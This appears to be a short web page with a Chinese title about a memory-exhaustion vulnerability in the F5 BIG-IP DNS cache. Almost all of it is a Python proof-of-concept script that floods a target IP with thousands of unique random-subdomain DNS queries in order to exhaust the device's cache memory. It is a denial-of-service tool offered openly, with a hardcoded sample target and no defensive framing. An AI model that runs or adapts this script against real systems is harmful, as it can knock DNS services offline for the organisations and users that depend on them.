CVE-2025-59781：F5 BIG-IP DNS缓存内存资源耗尽漏洞

# CVE-2025-59781 PoC - F5 BIG-IP DNS Cache Memory Exhaustion # This PoC demonstrates the concept of triggering memory resource exhaustion # on F5 BIG-IP devices with DNS cache enabled. import socket import struct import random import time def build_dns_query(domain): """Build a simple DNS query packet""" # DNS Header transaction_id = random.randint(0, 65535) flags = 0x0100 # Standard query questions = 1 answer_rrs = 0 authority_rrs = 0 additional_rrs = 0 header = struct.pack('!HHHHHH', transaction_id, flags, questions, answer_rrs, authority_rrs, additional_rrs) # Question section question = b'' for part in domain.split('.'): question += struct.pack('B', len(part)) + part.encode() question += b'\x00' # End of domain name question += struct.pack('!HH', 1, 1) # Type A, Class IN return header + question def trigger_dns_cache_exhaustion(target_ip, target_port=53, iterations=10000): """ Send numerous unique DNS queries to trigger memory exhaustion on vulnerable F5 BIG-IP DNS cache """ print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] Sending {iterations} DNS queries...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(2) try: for i in range(iterations): # Generate unique domain names to fill DNS cache random_subdomain = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=20)) domain = f"{random_subdomain}.example{i}.com" query = build_dns_query(domain) sock.sendto(query, (target_ip, target_port)) if i % 1000 == 0: print(f"[+] Sent {i} queries...") time.sleep(0.01) except Exception as e: print(f"[-] Error: {e}") finally: sock.close() print("[*] Attack completed") if __name__ == "__main__": # Target vulnerable F5 BIG-IP with DNS cache enabled TARGET = "192.168.1.100" trigger_dns_cache_exhaustion(TARGET)